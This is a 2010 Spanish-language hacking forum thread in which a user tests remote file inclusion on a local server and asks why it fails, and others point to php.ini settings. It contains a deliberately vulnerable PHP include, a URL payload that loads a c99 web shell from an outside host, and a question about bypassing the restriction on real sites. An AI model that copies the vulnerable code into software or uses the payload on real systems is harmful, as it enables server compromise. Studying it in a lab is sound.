elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Duda con RFI
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Duda con RFI  (Leído 3,418 veces)
NaSaRiD15


Desconectado Desconectado

Mensajes: 348


PEÑAROL


Ver Perfil
Duda con RFI
« en: 20 Julio 2010, 01:56 am »

Buenas, tome un ejemplo de un codigo vulnerable de la wiki de elhacker.net.

Este codigo que voy a poner a continuacion, lo tengo en un wamp, es decir me instale un servidor local para hacer la prueba.

El index.html seria el siguiente:

Código:
<HTML>
<HEAD>
<TITLE> Prueva de RFI </TITLE>
</HEAD>
<BODY>
 
<A HREF="rfi.php?cont=hola.html">Hola!</A>
<BR><BR>
<A HREF="rfi.php?cont=adios.html">Adios!</A>
 
</BODY>
</HTML>

El rfi.php seria el siguiente:

Código:
<?php
 
$var = $_GET["cont"];
include($var);
 
?>

Ahora bien, me cree una cuenta en un servidor gratuito, para ser mas especifico en este : 000webhost.com

Y subi una shell(c99) con extension en txt.

Ahora bien, verifique efectivamente que la web esta sea vulnerable de al siguiente manera : http://localhost/rfi.php?cont=http://google.com , efectivamente abre google.

Ahora, si pruebo hacer lo siguiente :

http://localhost/rfi.php?cont=http://mipagina/shell.txt

Me dan los siguientes errores y no entiendo el motivo.


Warning: include(http://mipagina.com/shell.txt) [function.include]: failed to open stream: HTTP request failed! HTTP/1.0 404 Not Found in C:\wamp\www\rfi.php on line 4

Warning: include() [function.include]: Failed opening 'http://mipagina.com/shell.txt' for inclusion (include_path='.;C:\php5\pear') in C:\wamp\www\rfi.php on line 4

Alguien entiendo cual es el problema? o si estoy haciendo algo mal?

Saludos y gracias.


En línea

Hay que tomarse un tiempo para comprender que solamente sos lo que sos, de ahi a todo lo que tu quieras ser, eso ya depende de vos...
KaozC9

Desconectado Desconectado

Mensajes: 18



Ver Perfil
Re: Duda con RFI
« Respuesta #1 en: 20 Julio 2010, 02:00 am »

Yo diria que declararon que la funcion include no abriera url externas, esto va en php.ini
En línea

D4r10xHCx

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: Duda con RFI
« Respuesta #2 en: 20 Julio 2010, 04:20 am »

usa un localhost para las pruebas
 deben ser reestricciones del php.ini como dice KaozC9

asdasdasd
En línea

NaSaRiD15


Desconectado Desconectado

Mensajes: 348


PEÑAROL


Ver Perfil
Re: Duda con RFI
« Respuesta #3 en: 20 Julio 2010, 05:35 am »

Habra alguna forma de pasar esa restriccion, sin necesidad de modficarlo en el php.ini , digo porque si encontramos una web vulnerable pero en ese servidor esta bloqueado la inclusion de archivos externos, entonces no se puede aprovechar la vulnerabilidad..

En ese caso entonces se necesitaria un servidor vulnerable y una web vulnerable para poderlo aprovechar!..

Saludos y gracias.


Edtio:

Busque en mi php.ini y encontre lo siguiente:

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = On

; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = On


Supongo que el problema debe venir por otro lado, ya que al parecer permite la inclusion de cosas del exterior.


« Última modificación: 20 Julio 2010, 07:49 am por NaSaRiD15 » En línea

Hay que tomarse un tiempo para comprender que solamente sos lo que sos, de ahi a todo lo que tu quieras ser, eso ya depende de vos...
TapIt

Desconectado Desconectado

Mensajes: 57



Ver Perfil
Re: Duda con RFI
« Respuesta #4 en: 20 Julio 2010, 23:10 pm »

A mi me pasa algo parecido pero ni sikiera me deja abrir google... el erro que me da a mi es el siguiente

Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0 in C:\xampp\htdocs\fileinclusion\index.php on line 13

He cambiado el php.ini y e puesto a On los dos parametros pero nada de nada... ¿alguien sabe como se debe confifurar el php.ini para poder hacer las pruebas?

Saludos ;)!
En línea

Busca y encontrarás...
braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: Duda con RFI
« Respuesta #5 en: 20 Julio 2010, 23:26 pm »

A mi me pasa algo parecido pero ni sikiera me deja abrir google... el erro que me da a mi es el siguiente

Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0 in C:\xampp\htdocs\fileinclusion\index.php on line 13

He cambiado el php.ini y e puesto a On los dos parametros pero nada de nada... ¿alguien sabe como se debe confifurar el php.ini para poder hacer las pruebas?

Saludos ;)!
Después de eso tienes el mismo error? Has reiniciado apache?
En línea

TapIt

Desconectado Desconectado

Mensajes: 57



Ver Perfil
Re: Duda con RFI
« Respuesta #6 en: 21 Julio 2010, 00:09 am »

bale y yo pegandome con el php.ini como un tonto a ver si veia algo... jajaj muchas gracias :)
En línea

Busca y encontrarás...
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines